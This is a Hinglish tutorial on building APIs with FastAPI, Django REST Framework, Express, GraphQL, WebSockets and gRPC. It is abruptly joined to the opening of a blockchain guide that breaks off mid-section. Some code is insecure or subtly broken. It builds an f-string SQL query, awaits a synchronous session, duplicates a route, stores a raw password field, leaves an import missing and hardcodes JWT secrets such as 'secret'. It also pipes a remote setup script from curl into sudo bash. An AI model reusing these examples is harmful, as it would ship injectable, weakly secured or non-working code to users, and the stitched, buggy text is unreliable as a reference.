FastAPI modern, fast (high-performance) Python web framework hai. Automatic OpenAPI documentation, type hints, aur async support provide karta hai. Performance me Node.js aur Go ke barabar hai.

KEY FEATURES:

* Very Fast - Starlette and Pydantic based
* Automatic API Docs - Swagger UI and ReDoc
* Type Hints - Python type hints for validation
* Async Support - Async/await for concurrency
* Dependency Injection - Built-in DI system
* Security - OAuth2, JWT built-in

>> FastAPI Installation

WHAT:

FastAPI setup on Linux

COMMANDS:

```
# Install FastAPI and Uvicorn
pip install fastapi uvicorn
# Install optional dependencies
pip install python-multipart  # File upload
pip install python-jose[cryptography]  # JWT
pip install passlib[bcrypt]  # Password hashing
pip install sqlalchemy  # ORM
pip install asyncpg  # PostgreSQL async
# Create project structure
mkdir fastapi-project
cd fastapi-project
touch main.py models.py schemas.py database.py auth.py
```

>> Complete FastAPI Application

WHAT:

Complete REST API with FastAPI

CODE:

```
from fastapi import FastAPI, HTTPException, Depends, status
from fastapi.security import OAuth2PasswordBearer, OAuth2PasswordRequestForm
from pydantic import BaseModel, EmailStr, Field
from typing import List, Optional
from datetime import datetime, timedelta
import jwt
from passlib.context import CryptContext
import asyncpg
from sqlalchemy import create_engine, Column, Integer, String, Boolean, DateTime
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker, Session

# ========== CONFIGURATION ==========
SECRET_KEY = "your-secret-key-change-this"
ALGORITHM = "HS256"
ACCESS_TOKEN_EXPIRE_MINUTES = 30

# ========== PASSWORD HASHING ==========
pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")

def verify_password(plain_password, hashed_password):
```

```
    return pwd_context.verify(plain_password, hashed_password)

def get_password_hash(password):
    return pwd_context.hash(password)

# ========== JWT TOKEN ==========
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="token")

def create_access_token(data: dict, expires_delta: Optional[timedelta] = None):
    to_encode = data.copy()
    if expires_delta:
        expire = datetime.utcnow() + expires_delta
    else:
        expire = datetime.utcnow() + timedelta(minutes=15)
    to_encode.update({"exp": expire})
    encoded_jwt = jwt.encode(to_encode, SECRET_KEY, algorithm=ALGORITHM)
    return encoded_jwt

async def get_current_user(token: str = Depends(oauth2_scheme)):
    credentials_exception = HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Could not validate credentials",
        headers={"WWW-Authenticate": "Bearer"},
    )
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=[ALGORITHM])
        username: str = payload.get("sub")
        if username is None:
            raise credentials_exception
    except jwt.PyJWTError:
        raise credentials_exception
    return username

# ========== PYDANTIC MODELS ==========
class UserCreate(BaseModel):
    email: EmailStr
    username: str = Field(..., min_length=3, max_length=50)
    password: str = Field(..., min_length=6)
    full_name: Optional[str] = None

class UserResponse(BaseModel):
    id: int
    email: str
    username: str
    full_name: Optional[str]
    is_active: bool
    created_at: datetime

class PostCreate(BaseModel):
    title: str = Field(..., min_length=1, max_length=200)
    content: str
    published: bool = True

class PostResponse(BaseModel):
    id: int
    title: str
    content: str
    published: bool
    created_at: datetime
    author_id: int
    author: UserResponse

class Token(BaseModel):
    access_token: str
    token_type: str
```

```
# ========== SQLALCHEMY MODELS ==========
SQLALCHEMY_DATABASE_URL = "sqlite:///./test.db"
engine = create_engine(SQLALCHEMY_DATABASE_URL, connect_args={"check_same_thread": False})
SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)
Base = declarative_base()

class User(Base):
    __tablename__ = "users"
    id = Column(Integer, primary_key=True, index=True)
    email = Column(String, unique=True, index=True, nullable=False)
    username = Column(String, unique=True, index=True, nullable=False)
    hashed_password = Column(String, nullable=False)
    full_name = Column(String)
    is_active = Column(Boolean, default=True)
    created_at = Column(DateTime, default=datetime.utcnow)

class Post(Base):
    __tablename__ = "posts"
    id = Column(Integer, primary_key=True, index=True)
    title = Column(String, index=True, nullable=False)
    content = Column(String, nullable=False)
    published = Column(Boolean, default=True)
    created_at = Column(DateTime, default=datetime.utcnow)
    author_id = Column(Integer, ForeignKey("users.id"))

# Create tables
Base.metadata.create_all(bind=engine)

# ========== DEPENDENCIES ==========
def get_db():
    db = SessionLocal()
    try:
        yield db
    finally:
        db.close()

# ========== FASTAPI APP ==========
app = FastAPI(title="FastAPI Blog API", version="1.0.0")

# Root endpoint
@app.get("/")
async def root():
    return {"message": "Welcome to FastAPI Blog API", "docs": "/docs"}

# Health check
@app.get("/health")
async def health_check():
    return {"status": "healthy", "timestamp": datetime.utcnow()}

# User registration
@app.post("/users", response_model=UserResponse, status_code=status.HTTP_201_CREATED)
async def create_user(user: UserCreate, db: Session = Depends(get_db)):
    # Check if user exists
    db_user = db.query(User).filter(
        (User.email == user.email) | (User.username == user.username)
    ).first()
    if db_user:
        raise HTTPException(status_code=400, detail="Email or username already registered")

    # Create new user
    hashed_password = get_password_hash(user.password)
    db_user = User(
        email=user.email,
        username=user.username,
        hashed_password=hashed_password,
        full_name=user.full_name
```

```
    )
    db.add(db_user)
    db.commit()
    db.refresh(db_user)
    return db_user

# Login/Token endpoint
@app.post("/token", response_model=Token)
async def login(form_data: OAuth2PasswordRequestForm = Depends(), db: Session = Depends(get_db)):
    user = db.query(User).filter(User.username == form_data.username).first()
    if not user or not verify_password(form_data.password, user.hashed_password):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Incorrect username or password",
            headers={"WWW-Authenticate": "Bearer"},
        )
    access_token_expires = timedelta(minutes=ACCESS_TOKEN_EXPIRE_MINUTES)
    access_token = create_access_token(
        data={"sub": user.username}, expires_delta=access_token_expires
    )
    return {"access_token": access_token, "token_type": "bearer"}

# Get current user
@app.get("/users/me", response_model=UserResponse)
async def read_users_me(current_user: str = Depends(get_current_user), db: Session = Depends(get_db)):
    user = db.query(User).filter(User.username == current_user).first()
    if not user:
        raise HTTPException(status_code=404, detail="User not found")
    return user

# Create post
@app.post("/posts", response_model=PostResponse, status_code=status.HTTP_201_CREATED)
async def create_post(
    post: PostCreate,
    current_user: str = Depends(get_current_user),
    db: Session = Depends(get_db)
):
    user = db.query(User).filter(User.username == current_user).first()
    db_post = Post(**post.dict(), author_id=user.id)
    db.add(db_post)
    db.commit()
    db.refresh(db_post)
    return db_post

# Get all posts
@app.get("/posts", response_model=List[PostResponse])
async def get_posts(skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    posts = db.query(Post).offset(skip).limit(limit).all()
    return posts

# Get single post
@app.get("/posts/{post_id}", response_model=PostResponse)
async def get_post(post_id: int, db: Session = Depends(get_db)):
    post = db.query(Post).filter(Post.id == post_id).first()
    if not post:
        raise HTTPException(status_code=404, detail="Post not found")
    return post

# Update post
@app.put("/posts/{post_id}", response_model=PostResponse)
async def update_post(
    post_id: int,
    post: PostCreate,
    current_user: str = Depends(get_current_user),
    db: Session = Depends(get_db)
):
```

```
    db_post = db.query(Post).filter(Post.id == post_id).first()
    if not db_post:
        raise HTTPException(status_code=404, detail="Post not found")

    user = db.query(User).filter(User.username == current_user).first()
    if db_post.author_id != user.id:
        raise HTTPException(status_code=403, detail="Not authorized to update this post")

    for key, value in post.dict().items():
        setattr(db_post, key, value)
    db.commit()
    db.refresh(db_post)
    return db_post

# Delete post
@app.delete("/posts/{post_id}", status_code=status.HTTP_204_NO_CONTENT)
async def delete_post(
    post_id: int,
    current_user: str = Depends(get_current_user),
    db: Session = Depends(get_db)
):
    db_post = db.query(Post).filter(Post.id == post_id).first()
    if not db_post:
        raise HTTPException(status_code=404, detail="Post not found")

    user = db.query(User).filter(User.username == current_user).first()
    if db_post.author_id != user.id:
        raise HTTPException(status_code=403, detail="Not authorized to delete this post")

    db.delete(db_post)
    db.commit()
    return None
```

>> FastAPI Async Features

WHAT:

Async endpoints and background tasks

CODE:

```
from fastapi import BackgroundTasks
import asyncio

# Async endpoint with database
@app.get("/users/{user_id}")
async def get_user(user_id: int, db: Session = Depends(get_db)):
    # Non-blocking database query
    user = await db.execute(f"SELECT * FROM users WHERE id = {user_id}")
    return user

# Background task
def send_welcome_email(email: str):
    import smtplib
    # Send email logic
    print(f"Sending email to {email}")

@app.post("/users", response_model=UserResponse)
async def create_user(user: UserCreate, background_tasks: BackgroundTasks, db: Session = Depends(get_db)):
    # Create user
    db_user = User(**user.dict())
    db.add(db_user)
    db.commit()

    # Background task
    background_tasks.add_task(send_welcome_email, user.email)
    return db_user
```

```
# Streaming response
from fastapi.responses import StreamingResponse
async def generate_data():
    for i in range(10):
        yield f"data: {i}\n\n"
        await asyncio.sleep(1)

@app.get("/stream")
async def stream_data():
    return StreamingResponse(generate_data(), media_type="text/event-stream")
```

2. DJANGO REST FRAMEWORK

>> What is DRF

WHAT:

Django REST Framework Django par based powerful toolkit hai jo REST APIs banane ke liye use hoti hai. Serializers, authentication, viewsets, aur browsable API provide karta hai.

KEY FEATURES:

* Serializers - Complex data to JSON conversion
* ViewSets - CRUD operations simplified
* Authentication - Token, Session, JWT
* Permissions - Fine-grained access control
* Browsable API - Interactive API explorer
* Pagination - Built-in pagination

>> DRF Installation

WHAT:

Django REST Framework setup

COMMANDS:

```
# Install Django and DRF
pip install django djangorestframework
# Install additional packages
pip install djangorestframework-simplejwt  # JWT
pip install django-cors-headers  # CORS
pip install drf-yasg  # Swagger docs
# Create Django project
django-admin startproject myproject
cd myproject
python manage.py startapp api
# Add to INSTALLED_APPS in settings.py
INSTALLED_APPS = [
    ...
    'rest_framework',
    'api',
]
```

>> Complete DRF API

WHAT:

Complete REST API with Django REST Framework

CODE:

```
# models.py
from django.db import models
from django.contrib.auth.models import AbstractUser
from django.utils import timezone

class User(AbstractUser):
    email = models.EmailField(unique=True)
    bio = models.TextField(blank=True)
    profile_picture = models.URLField(blank=True)
    created_at = models.DateTimeField(auto_now_add=True)

    def __str__(self):
        return self.username

class Category(models.Model):
    name = models.CharField(max_length=100, unique=True)
    description = models.TextField(blank=True)
```

```
    slug = models.SlugField(unique=True)

    def __str__(self):
        return self.name

class Post(models.Model):
    title = models.CharField(max_length=200)
    slug = models.SlugField(unique=True)
    content = models.TextField()
    excerpt = models.TextField(blank=True)
    featured_image = models.URLField(blank=True)
    published = models.BooleanField(default=False)
    created_at = models.DateTimeField(auto_now_add=True)
    updated_at = models.DateTimeField(auto_now=True)
    author = models.ForeignKey(User, on_delete=models.CASCADE, related_name='posts')
    categories = models.ManyToManyField(Category, related_name='posts')
    views = models.IntegerField(default=0)
    likes = models.ManyToManyField(User, related_name='liked_posts', blank=True)

    def __str__(self):
        return self.title

class Comment(models.Model):
    post = models.ForeignKey(Post, on_delete=models.CASCADE, related_name='comments')
    author = models.ForeignKey(User, on_delete=models.CASCADE, related_name='comments')
    content = models.TextField()
    created_at = models.DateTimeField(auto_now_add=True)
    updated_at = models.DateTimeField(auto_now=True)
    approved = models.BooleanField(default=True)

    def __str__(self):
        return f"Comment by {self.author} on {self.post}"

# serializers.py
from rest_framework import serializers
from django.contrib.auth import authenticate
from .models import User, Category, Post, Comment

class UserSerializer(serializers.ModelSerializer):
    posts_count = serializers.IntegerField(source='posts.count', read_only=True)
    full_name = serializers.SerializerMethodField()

    class Meta:
        model = User
        fields = ['id', 'username', 'email', 'full_name', 'bio', 'profile_picture',
                  'posts_count', 'created_at']
        read_only_fields = ['id', 'created_at']

    def get_full_name(self, obj):
        return f"{obj.first_name} {obj.last_name}".strip() or obj.username

class CategorySerializer(serializers.ModelSerializer):
    posts_count = serializers.IntegerField(source='posts.count', read_only=True)

    class Meta:
        model = Category
        fields = ['id', 'name', 'slug', 'description', 'posts_count']

class PostSerializer(serializers.ModelSerializer):
    author = UserSerializer(read_only=True)
    author_username = serializers.CharField(source='author.username', read_only=True)
    categories = CategorySerializer(many=True, read_only=True)
    category_ids = serializers.PrimaryKeyRelatedField(
        queryset=Category.objects.all(), many=True, write_only=True, source='categories'
    )
    likes_count = serializers.IntegerField(source='likes.count', read_only=True)
```

```
    comments_count = serializers.IntegerField(source='comments.count', read_only=True)

    class Meta:
        model = Post
        fields = ['id', 'title', 'slug', 'content', 'excerpt', 'featured_image',
                  'published', 'created_at', 'updated_at', 'views', 'author', 'author_username',
                  'categories', 'category_ids', 'likes_count', 'comments_count']
        read_only_fields = ['id', 'slug', 'created_at', 'updated_at', 'views']

class CommentSerializer(serializers.ModelSerializer):
    author = UserSerializer(read_only=True)
    author_username = serializers.CharField(source='author.username', read_only=True)

    class Meta:
        model = Comment
        fields = ['id', 'post', 'author', 'author_username', 'content', 'created_at', 'updated_at']
        read_only_fields = ['id', 'created_at', 'updated_at']

# views.py
from rest_framework import viewsets, generics, permissions, status, filters
from rest_framework.decorators import action
from rest_framework.response import Response
from rest_framework.authtoken.models import Token
from django_filters.rest_framework import DjangoFilterBackend
from .models import User, Category, Post, Comment
from .serializers import UserSerializer, CategorySerializer, PostSerializer, CommentSerializer
from .permissions import IsAuthorOrReadOnly

class UserViewSet(viewsets.ModelViewSet):
    queryset = User.objects.all()
    serializer_class = UserSerializer
    permission_classes = [permissions.IsAuthenticatedOrReadOnly]
    filter_backends = [filters.SearchFilter]
    search_fields = ['username', 'email']

    @action(detail=False, methods=['get'], permission_classes=[permissions.IsAuthenticated])
    def me(self, request):
        serializer = self.get_serializer(request.user)
        return Response(serializer.data)

class CategoryViewSet(viewsets.ModelViewSet):
    queryset = Category.objects.all()
    serializer_class = CategorySerializer
    permission_classes = [permissions.IsAuthenticatedOrReadOnly]
    lookup_field = 'slug'

class PostViewSet(viewsets.ModelViewSet):
    queryset = Post.objects.all()
    serializer_class = PostSerializer
    permission_classes = [permissions.IsAuthenticatedOrReadOnly, IsAuthorOrReadOnly]
    filter_backends = [DjangoFilterBackend, filters.SearchFilter, filters.OrderingFilter]
    filterset_fields = ['published', 'author', 'categories']
    search_fields = ['title', 'content']
    ordering_fields = ['created_at', 'views']

    def get_queryset(self):
        queryset = Post.objects.all()
        if not self.request.user.is_authenticated:
            queryset = queryset.filter(published=True)
        return queryset

    def perform_create(self, serializer):
        serializer.save(author=self.request.user)

    @action(detail=True, methods=['post'], permission_classes=[permissions.IsAuthenticated])
    def like(self, request, pk=None):
```

```
        post = self.get_object()
        if request.user in post.likes.all():
            post.likes.remove(request.user)
            return Response({'status': 'unliked'})
        else:
            post.likes.add(request.user)
            return Response({'status': 'liked'})

    @action(detail=True, methods=['post'], permission_classes=[permissions.IsAuthenticated])
    def increment_view(self, request, pk=None):
        post = self.get_object()
        post.views += 1
        post.save()
        return Response({'views': post.views})

class CommentViewSet(viewsets.ModelViewSet):
    queryset = Comment.objects.all()
    serializer_class = CommentSerializer
    permission_classes = [permissions.IsAuthenticatedOrReadOnly, IsAuthorOrReadOnly]

    def get_queryset(self):
        queryset = Comment.objects.all()
        post_id = self.request.query_params.get('post')
        if post_id:
            queryset = queryset.filter(post_id=post_id, approved=True)
        return queryset

    def perform_create(self, serializer):
        serializer.save(author=self.request.user)

# urls.py
from django.urls import path, include
from rest_framework.routers import DefaultRouter
from rest_framework.authtoken.views import obtain_auth_token
from . import views

router = DefaultRouter()
router.register(r'users', views.UserViewSet)
router.register(r'categories', views.CategoryViewSet)
router.register(r'posts', views.PostViewSet)
router.register(r'comments', views.CommentViewSet)

urlpatterns = [
    path('', include(router.urls)),
    path('auth/', include('rest_framework.urls')),
    path('api-token-auth/', obtain_auth_token, name='api_token_auth'),
]

# settings.py additions
REST_FRAMEWORK = {
    'DEFAULT_AUTHENTICATION_CLASSES': [
        'rest_framework.authentication.TokenAuthentication',
        'rest_framework.authentication.SessionAuthentication',
    ],
    'DEFAULT_PERMISSION_CLASSES': [
        'rest_framework.permissions.IsAuthenticatedOrReadOnly',
    ],
    'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination',
    'PAGE_SIZE': 10,
    'DEFAULT_FILTER_BACKENDS': [
        'django_filters.rest_framework.DjangoFilterBackend',
    ],
}
```

3. NODE.JS WITH EXPRESS

>> What is Node.js/Express

WHAT:

Node.js JavaScript runtime hai jo server-side JavaScript run karta hai. Express minimal web framework hai Node.js ke liye, jo APIs banane me fast aur flexible hai.

KEY FEATURES:

* Non-blocking I/O - Asynchronous by default
* NPM - Largest ecosystem of packages
* Single-threaded event loop
* Middleware support
* Rapid development

>> Node.js Installation

WHAT:

Node.js and Express setup

COMMANDS:

```
# Install Node.js
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install nodejs -y
# Create project
mkdir node-api
cd node-api
npm init -y
# Install dependencies
npm install express mongoose dotenv cors helmet morgan
npm install -D nodemon
# Update package.json scripts
"scripts": {
  "start": "node server.js",
  "dev": "nodemon server.js"
}
```

>> Complete Express API

WHAT:

Complete REST API with Node.js and Express

CODE:

```
// server.js
const express = require('express');
const mongoose = require('mongoose');
const cors = require('cors');
const helmet = require('helmet');
const morgan = require('morgan');
const dotenv = require('dotenv');

dotenv.config();

const app = express();

// Middleware
app.use(helmet());
app.use(cors());
app.use(morgan('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
```

```
// Database connection
mongoose.connect(process.env.MONGODB_URI || 'mongodb://localhost:27017/blogdb', {
    useNewUrlParser: true,
    useUnifiedTopology: true,
})
.then(() => console.log('MongoDB connected'))
.catch(err => console.log('MongoDB error:', err));

// Models
const User = require('./models/User');
const Post = require('./models/Post');
const Comment = require('./models/Comment');

// Routes
app.use('/api/users', require('./routes/users'));
app.use('/api/posts', require('./routes/posts'));
app.use('/api/comments', require('./routes/comments'));
app.use('/api/auth', require('./routes/auth'));

// Error handling middleware
app.use((err, req, res, next) => {
    console.error(err.stack);
    res.status(err.status || 500).json({
        message: err.message || 'Internal Server Error',
        error: process.env.NODE_ENV === 'development' ? err : {}
    });
});

const PORT = process.env.PORT || 5000;
app.listen(PORT, () => {
    console.log(`Server running on port ${PORT}`);
});

// models/User.js
const mongoose = require('mongoose');
const bcrypt = require('bcryptjs');

const UserSchema = new mongoose.Schema({
    username: {
        type: String,
        required: true,
        unique: true,
        trim: true,
        minlength: 3
    },
    email: {
        type: String,
        required: true,
        unique: true,
        lowercase: true
    },
    password: {
        type: String,
        required: true,
        minlength: 6
    },
    fullName: {
        type: String,
        trim: true
    },
    bio: {
        type: String,
        maxlength: 500
    },
    profilePicture: {
        type: String,
```

```
        default: ''
    },
    role: {
        type: String,
        enum: ['user', 'admin'],
        default: 'user'
    },
    isActive: {
        type: Boolean,
        default: true
    },
    createdAt: {
        type: Date,
        default: Date.now
    }
});

UserSchema.pre('save', async function(next) {
    if (!this.isModified('password')) return next();
    const salt = await bcrypt.genSalt(10);
    this.password = await bcrypt.hash(this.password, salt);
    next();
});

UserSchema.methods.comparePassword = async function(candidatePassword) {
    return await bcrypt.compare(candidatePassword, this.password);
};

module.exports = mongoose.model('User', UserSchema);

// models/Post.js
const mongoose = require('mongoose');

const PostSchema = new mongoose.Schema({
    title: {
        type: String,
        required: true,
        trim: true,
        maxlength: 200
    },
    slug: {
        type: String,
        required: true,
        unique: true
    },
    content: {
        type: String,
        required: true
    },
    excerpt: {
        type: String,
        maxlength: 500
    },
    featuredImage: {
        type: String,
        default: ''
    },
    published: {
        type: Boolean,
        default: false
    },
    author: {
        type: mongoose.Schema.Types.ObjectId,
        ref: 'User',
        required: true
    },
```

```
    categories: [{
        type: String,
        trim: true
    }],
    tags: [{
        type: String,
        trim: true
    }],
    views: {
        type: Number,
        default: 0
    },
    likes: [{
        type: mongoose.Schema.Types.ObjectId,
        ref: 'User'
    }],
    createdAt: {
        type: Date,
        default: Date.now
    },
    updatedAt: {
        type: Date,
        default: Date.now
    }
});

PostSchema.pre('save', function(next) {
    if (this.isModified('title')) {
        this.slug = this.title.toLowerCase().replace(/[^a-z0-9]/g, '-').replace(/-+/g, '-');
    }
    this.updatedAt = Date.now();
    next();
});

module.exports = mongoose.model('Post', PostSchema);

// routes/auth.js
const express = require('express');
const jwt = require('jsonwebtoken');
const User = require('../models/User');
const router = express.Router();

const generateToken = (userId) => {
    return jwt.sign({ id: userId }, process.env.JWT_SECRET || 'secret', {
        expiresIn: '30d'
    });
};

router.post('/register', async (req, res) => {
    try {
        const { username, email, password } = req.body;

        const existingUser = await User.findOne({ $or: [{ email }, { username }] });
        if (existingUser) {
            return res.status(400).json({ message: 'User already exists' });
        }

        const user = new User({ username, email, password });
        await user.save();

        const token = generateToken(user._id);
        res.status(201).json({
            token,
            user: {
                id: user._id,
                username: user.username,
```

```
                email: user.email
            }
        });
    } catch (error) {
        res.status(500).json({ message: error.message });
    }
});

router.post('/login', async (req, res) => {
    try {
        const { email, password } = req.body;

        const user = await User.findOne({ email });
        if (!user) {
            return res.status(401).json({ message: 'Invalid credentials' });
        }

        const isMatch = await user.comparePassword(password);
        if (!isMatch) {
            return res.status(401).json({ message: 'Invalid credentials' });
        }

        const token = generateToken(user._id);
        res.json({
            token,
            user: {
                id: user._id,
                username: user.username,
                email: user.email
            }
        });
    } catch (error) {
        res.status(500).json({ message: error.message });
    }
});

module.exports = router;

// middleware/auth.js
const jwt = require('jsonwebtoken');
const User = require('../models/User');

const auth = async (req, res, next) => {
    try {
        const token = req.header('Authorization')?.replace('Bearer ', '');
        if (!token) {
            throw new Error();
        }

        const decoded = jwt.verify(token, process.env.JWT_SECRET || 'secret');
        const user = await User.findById(decoded.id);
        if (!user) {
            throw new Error();
        }

        req.user = user;
        next();
    } catch (error) {
        res.status(401).json({ message: 'Please authenticate' });
    }
};

module.exports = auth;
```

4. GRAPHQL API

>> What is GraphQL

WHAT:

GraphQL API query language hai jo client ko exactly jo data chahiye wahi lene ki flexibility deta hai. Single endpoint, over-fetching aur under-fetching problem solve karta hai.

KEY FEATURES:

* Single Endpoint - /graphql
* Strongly Typed Schema
* Client-specified queries
* Real-time subscriptions
* Introspection - Self-documenting

>> GraphQL with Python (Strawberry)

WHAT:

GraphQL API using Strawberry

CODE:

```
import strawberry
from typing import List, Optional
from datetime import datetime
import asyncio

# Types
@strawberry.type
class User:
    id: int
    username: str
    email: str
    full_name: Optional[str]
    posts: List['Post']

@strawberry.type
class Post:
    id: int
    title: str
    content: str
    published: bool
    created_at: datetime
    author: User
    comments: List['Comment']

@strawberry.type
class Comment:
    id: int
    content: str
    created_at: datetime
    author: User

# Input types for mutations
@strawberry.input
class CreatePostInput:
    title: str
    content: str
    published: bool = True

@strawberry.input
class UpdatePostInput:
    title: Optional[str] = None
    content: Optional[str] = None
```

```
    published: Optional[bool] = None

# Resolvers
@strawberry.type
class Query:
    @strawberry.field
    async def posts(self) -> List[Post]:
        # Fetch from database
        return []

    @strawberry.field
    async def post(self, id: int) -> Optional[Post]:
        # Fetch single post
        return None

    @strawberry.field
    async def users(self) -> List[User]:
        return []

    @strawberry.field
    async def me(self, token: str) -> Optional[User]:
        # Get current user from token
        return None

@strawberry.type
class Mutation:
    @strawberry.mutation
    async def create_post(self, input: CreatePostInput) -> Post:
        # Create new post
        return Post(...)

    @strawberry.mutation
    async def update_post(self, id: int, input: UpdatePostInput) -> Optional[Post]:
        # Update post
        return None

    @strawberry.mutation
    async def delete_post(self, id: int) -> bool:
        # Delete post
        return True

@strawberry.type
class Subscription:
    @strawberry.subscription
    async def post_created(self) -> Post:
        async for post in self.listen_for_new_posts():
            yield post

schema = strawberry.Schema(query=Query, mutation=Mutation, subscription=Subscription)

# FastAPI integration
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter

app = FastAPI()
graphql_app = GraphQLRouter(schema)
app.include_router(graphql_app, prefix="/graphql")
```

5. WEBSOCKETS REAL-TIME COMMUNICATION

>> What are WebSockets

WHAT:

WebSockets full-duplex communication channel provide karte hain client aur server ke beech. Real-time applications ke liye ideal - chat, gaming, live updates.

KEY FEATURES:

* Persistent connection
* Bi-directional communication
* Low latency
* Real-time updates

>> WebSockets with FastAPI

WHAT:

WebSocket implementation

CODE:

```
from fastapi import FastAPI, WebSocket, WebSocketDisconnect
from typing import List
import json
import asyncio

app = FastAPI()

class ConnectionManager:
    def __init__(self):
        self.active_connections: List[WebSocket] = []

    async def connect(self, websocket: WebSocket):
        await websocket.accept()
        self.active_connections.append(websocket)

    def disconnect(self, websocket: WebSocket):
        self.active_connections.remove(websocket)

    async def send_personal_message(self, message: str, websocket: WebSocket):
        await websocket.send_text(message)

    async def broadcast(self, message: str):
        for connection in self.active_connections:
            await connection.send_text(message)

manager = ConnectionManager()

@app.websocket("/ws/{client_id}")
async def websocket_endpoint(websocket: WebSocket, client_id: str):
    await manager.connect(websocket)
    try:
        while True:
            data = await websocket.receive_text()
            message = json.dumps({
                "client_id": client_id,
                "message": data,
                "timestamp": datetime.now().isoformat()
            })
            await manager.broadcast(message)
    except WebSocketDisconnect:
        manager.disconnect(websocket)
        await manager.broadcast(f"Client {client_id} disconnected")
```

```
# Client-side JavaScript
const ws = new WebSocket('ws://localhost:8000/ws/client123');

ws.onopen = () => {
    console.log('Connected');
    ws.send('Hello Server');
};

ws.onmessage = (event) => {
    console.log('Received:', event.data);
};
```

6. GRPC - HIGH-PERFORMANCE RPC

>> What is gRPC

WHAT:

gRPC high-performance RPC framework hai Google ne banaya. Protocol Buffers use karta hai for serialization, HTTP/2 for transport.

KEY FEATURES:

* High performance - Protocol Buffers
* HTTP/2 - Multiplexing, streaming
* Code generation - Client/server stubs
* Bi-directional streaming
* Language agnostic

>> gRPC with Python

WHAT:

gRPC implementation

CODE:

```
# proto/user.proto
syntax = "proto3";

package user;

service UserService {
    rpc GetUser (GetUserRequest) returns (User);
    rpc CreateUser (CreateUserRequest) returns (User);
    rpc ListUsers (ListUsersRequest) returns (ListUsersResponse);
    rpc StreamUsers (StreamUsersRequest) returns (stream User);
}

message GetUserRequest {
    int32 id = 1;
}

message CreateUserRequest {
    string username = 1;
    string email = 2;
}

message ListUsersRequest {
    int32 page = 1;
    int32 page_size = 2;
}

message ListUsersResponse {
    repeated User users = 1;
    int32 total = 2;
}

message User {
    int32 id = 1;
    string username = 2;
    string email = 3;
    string created_at = 4;
}

message StreamUsersRequest {
    int32 limit = 1;
}

# Generate Python code
```

```
python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. user.proto

# server.py
import grpc
from concurrent import futures
import time
import user_pb2
import user_pb2_grpc

class UserServiceServicer(user_pb2_grpc.UserServiceServicer):
    def __init__(self):
        self.users = []
        self.counter = 1

    def GetUser(self, request, context):
        for user in self.users:
            if user.id == request.id:
                return user
        context.set_code(grpc.StatusCode.NOT_FOUND)
        return user_pb2.User()

    def CreateUser(self, request, context):
        user = user_pb2.User(
            id=self.counter,
            username=request.username,
            email=request.email,
            created_at=time.ctime()
        )
        self.users.append(user)
        self.counter += 1
        return user

    def ListUsers(self, request, context):
        start = (request.page - 1) * request.page_size
        end = start + request.page_size
        paginated = self.users[start:end]
        return user_pb2.ListUsersResponse(
            users=paginated,
            total=len(self.users)
        )

    def StreamUsers(self, request, context):
        for user in self.users[:request.limit]:
            yield user
            time.sleep(0.5)

def serve():
    server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))
    user_pb2_grpc.add_UserServiceServicer_to_server(UserServiceServicer(), server)
    server.add_insecure_port('[::]:50051')
    server.start()
    print('Server started on port 50051')
    server.wait_for_termination()

if __name__ == '__main__':
    serve()

# client.py
import grpc
import user_pb2
import user_pb2_grpc

def run():
    channel = grpc.insecure_channel('localhost:50051')
    stub = user_pb2_grpc.UserServiceStub(channel)
```

```
    # Create user
    user = stub.CreateUser(user_pb2.CreateUserRequest(
        username='john_doe',
        email='john@example.com'
    ))
    print(f'Created user: {user}')

    # Get user
    user = stub.GetUser(user_pb2.GetUserRequest(id=1))
    print(f'Got user: {user}')

    # List users
    response = stub.ListUsers(user_pb2.ListUsersRequest(page=1, page_size=10))
    print(f'Total users: {response.total}')

    # Stream users
    for user in stub.StreamUsers(user_pb2.StreamUsersRequest(limit=5)):
        print(f'Streamed user: {user}')

if __name__ == '__main__':
    run()
```

Blockchain Complete Guide

Smart Contracts, DeFi, NFT, Web3 Development

Generated: 23-March-2026

DISCLAIMER: This guide is for educational purposes only. Always test contracts thoroughly and get professional audits before mainnet deployment.

1. CRYPTOCURRENCY AND BLOCKCHAIN BASICS

>> What is Blockchain

WHAT:

Blockchain ek distributed, decentralized digital ledger hai jo transactions ko blocks me record karta hai. Har block previous block se cryptographically connected hota hai, jisse data immutable aur tamper-proof ban jata hai.

KEY CONCEPTS:

* Block: Transactions ka group, har block ka unique hash
* Chain: Blocks linked together via hash pointers
* Decentralized: No central authority, distributed network
* Immutable: Once recorded, data cannot be changed
* Consensus: Network agrees on valid transactions
* Mining: Process of adding new blocks (Proof of Work)

>> How Blockchain Works

WHAT:

Blockchain ka working mechanism

STEPS:

* Step 1: Transaction Initiation - User initiates a transaction
* Step 2: Transaction Broadcast - Transaction broadcast to network
* Step 3: Validation - Nodes validate transaction (signature, balance)
* Step 4: Block Formation - Valid transactions grouped into block
* Step 5: Consensus - Miners solve cryptographic puzzle (PoW)
* Step 6: Block Addition - Block added to chain, propagated to network
* Step 7: Confirmation - Transaction confirmed after multiple blocks

---

>> Cryptocurrency Basics

WHAT:

Cryptocurrency fundamentals

CONCEPTS:

* 1. Bitcoin (BTC): First cryptocurrency, store of value, digital gold
* 2. Ethereum (ETH): Smart contract platform, programmable blockchain
* 3. Altcoins: Alternative cryptocurrencies (Solana, Cardano, Polkadot)
* 4. Tokens: Digital assets on existing blockchains (ERC-20, BEP-20)
* 5. Wallets: Store private keys (MetaMask, Ledger, Trust Wallet)
* 6. Private Key: Secret key to access funds (NEVER share)
* 7. Public Key: Address to receive funds
* 8. Gas Fees: Transaction fees paid to miners/validators
* 9. Mining: Process of validating transactions and creating new coins
* 10. Staking: Locking coins to support network, earn rewards

---

>> Consensus Mechanisms

WHAT:

How blockchain networks agree on valid state

MECHANISMS:

```
1. Proof of Work (PoW):
